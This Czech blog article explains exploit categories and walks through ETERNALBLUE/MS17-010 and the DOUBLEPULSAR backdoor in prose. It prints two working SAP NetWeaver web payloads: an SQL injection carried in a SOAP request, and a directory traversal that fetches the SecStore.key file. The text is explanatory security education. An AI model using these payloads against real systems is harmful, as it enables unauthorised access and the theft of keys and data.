Hrátky s exploity

Exploity jsou dle definice na wikipedii „speciální program, data nebo sekvence příkazů, které využívají programátorskou chybu, která způsobí původně nezamýšlenou činnost software a umožňuje tak získat nějaký prospěch.“

Exploity mohou být zneužity ke kompromitaci cílového systému nebo aplikace a vést až k jejímu absolutnímu ovládnutí, a lze je rozdělit do 3 hlavních kategorií:

  1. Remote Code Execution Exploits – exploitace síťových služeb
  2. Privilege Escalation and Local Exploits – lokální exploitace za účelem získání privilegií
  3. Web Application Exploits – exploitace webových zranitelností (XSS, CSRF, SQL Inj., …)

Jsou exploity, které nevyžadují programátorské znalosti a jsou exploity, které tyto znalosti vyžadují, pokud je chceme pochopit a správně využít. Slušně zpracovaná a hlavně aktuální databáze je k nalezení zde.

S exploity se nám v poslední době doslova roztrhl pytel, hlavně co se týká jejich kvality. Úniky vládních nástrojů, profesionálně vytvořených, ale už méně profesionálně chráněných, působí velkou neplechu, protože se dostávají do rukou kyberkriminálníkům.

Pojďme se nyní podívat na něco konkrétního. Takovým jednodušším exploitem ve třetí kategorii (webové epxloity) je např. SAP NetWeaver SQL injection, který umožňuje neoprávněně eskalovat privilegia a získat přístup k citlivým informacím.

POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/“ xmlns:SOAP-ENC=“http://schemas.xmlsoap.org/soap/encoding/“ xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance“ xmlns:xsd=“http://www.w3.org/2001/XMLSchema“>
<SOAP-ENV:Body>
<m:deletePermissionById xmlns:m=“http://sap.com/esi/uddi/ejb/security/“>
<permissionId>x‘ AND 1=(SELECT COUNT(*) FROM BC_UDV3_EL8EM_KEY) or ‚1‘=’1</permissionId>
</m:deletePermissionById>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Ještě jednodušším exploitem je pak SAP NetWeaver Directory Traversal, který umožňuje neoprávněně eskalovat privilegia a číst neoprávněně data ze serveru.

GET /XXX/CrashFileDownloadServlet?fileName=..\security\data\SecStore.key

SAP jsem vybral úmyslně, protože patří mezi hlavní interní systémy u mnoha velkých organizací a firem, kterým se bezpečnost většinou úspěšně vyhýbá, možná pod heslem, „když to běží nešahat“.

Webové aplikační exploity nebývají složité, proto se podíváme na něco složitějšího a co jiného než asi nejznámější letošní exploit ETERNALBLUE od Equation Group (součást exploit frameworku FUZZBUNCH občas nazývaného NSA „Metasploit“). Známý také pod označením aktualizace zabezpečení MS17-010.

Ta řeší několik zranitelností v protokolu Windows Server Message Block (SMB), a stala se výjimečnou aktualizací od Microsoftu, protože byla nakonec vydána i pro již nepodporované systémy Windows XP a Windows Server 2003. Co přesně řeší MS17-010 je v níže uvedené tabulce:

Code Name Solution
EternalBlue Addressed by MS17-010
EternalChampion Addressed by MS17-010
EternalRomance Addressed by MS17-010
EternalSynergy Addressed by MS17-010

Obecně se exploit síťové služby skládá ze dvou částí: 1. exploitace zranitenosti síťové služby a 2. injektáž/spuštění payloadu, kde payload(shellcode) má zpravidla omezení ve své max. velikosti.

Zranitelnost exploitovaná ETERNALBLUE je nestálá (pokus o exploitaci může vyjít až na několikátý pokus) a způsobem provedení se označuje jako Integer Overflow to Buffer Overflow (Produkt provede výpočet, který určí, kolik paměti bude přiděleno, ale může dojít k celočíselnému přetečení, které způsobí, že bude přiděleno méně paměti, než očekával, což vede k přetečení vyrovnávací paměti).

V tomto konkrétním případě k tomu dojde v kernel funkci srv!SrvOS2FeaListSizeToNt, která je použita k výpočtu velikosti potřebné pro konverzi OS/2 Full Extended Attributes (FEA) List struktury do odpovídající NT FEA struktury.

V podstatě se zde odečte hodnota DWORD (řízená útočníkem), ale ve výpočtu jsou použity registry velikosti WORD. Tato velikost vyrovnávací paměti se později používá v operaci memcpy nebo memmove , v závislosti na verzi systému Microsoft Windows, přičemž obě zkopírují paměť z jednoho místa do jiného.

FUZZBUNCH verze ETERNALBLUE exploitu používá jako payload DOUBLEPULSAR backdoor, který pracuje v kernel-modu (RING 0), což je v rámci OS kód s nejvyššími privilegii.

DOUBLEPULSAR je z hlediska funkcionality jednoduchý backdoor, který může dělat jen 4 věci: 1. ping (ověřování, že backdoor funguje), 2. spustit vlastní DLL, 3. spustit shell kód a 4. odinstalovat backdoor.

Cílit lze na tyto MS OS.

Mimochodem poslední významnou negativní pozornost tato původní kombinace ETERNALBLUE+ DOUBLEPULSAR získala u ransomware Petya a WannaCry.

Nevýhodou tohoto backdooru je, že neumožňuje autentizaci, takže se může připojit a ovládnout daný OS i kdokoliv jiný, což se po úniku těchto WINDOWS exploitů od Shadow Brokers také stalo.

Modul exploitu ETERNALBLUE v Metasploitu se liší od původní verze FUZZBUNCH exploitu v tom, že nepoužívá vůbec DOUBLEPULSAR backdoor, ale standardní user-mode payloady Metasploitu.

Na dalším obrázku jsou vidět zadávané parametry, kde vidíme, že je jeho součástí i ověření exploitovatelnosti cíle.

Zde je k dispozici zdrojový kód modulu, kde je patrné spouštění shellkódu, který zajistí spuštění vybraného payloadu v user módu (RING3). Zdrojový kód shellkódu je pak tady.

Pokud se podíváme ať už na originál nebo upravený exploit v Metasploitu, zdálo by se, že máme exploit jen na starší verze MS Windows.

Ale stalo se jako obvykle, že se začal uniklý exploit analyzovat… a samozřejmě více hlav více ví, a tak se začali ověřovat možnosti úprav k exploitaci i novějších verzí MS Windows a podařilo se udělat ASLR i DEP bypass a exploitovat tak i Microsoft Windows 10 (Threshold 2).

Tato zranitelnost a exploit vypadá jednoduše, ale kdo někdy vytvářel nebo upravoval exploit ví, že udělat něco takového, určitě nebylo jednoduché a vzhledem k podmínkám za jakých byla zranitelnost exploitovatelná, zůstává otázkou, zda k nalezení této zranitelnosti bylo potřeba nahlédnout do zdrojových kódů MS Windows, … kdo ví.


Pokud vás tento příspěvek zaujal, sdílejte ho!
Share on FacebookShare on LinkedInTweet about this on TwitterShare on Google+Email this to someonePrint this page

Štítky: ,


K článku “Hrátky s exploity” se zde nenachází žádný komentář - buďte první.

Diskuse na tomto webu je moderována. Pod článkem budou zobrazovány jen takové komentáře, které nebudou sloužit k propagaci konkrétní firmy, produktu nebo služby. V případě, že chcete, aby z těchto stránek vedl odkaz na váš web, kontaktujte nás, známe efektivnější způsoby propagace.

Přihlášeným uživatelům se tento formulář nezobrazuje - zaregistrujte se.

Jméno:(požadováno)
E-mail:(požadováno - nebude zobrazen)
Web:

Text vaší reakce: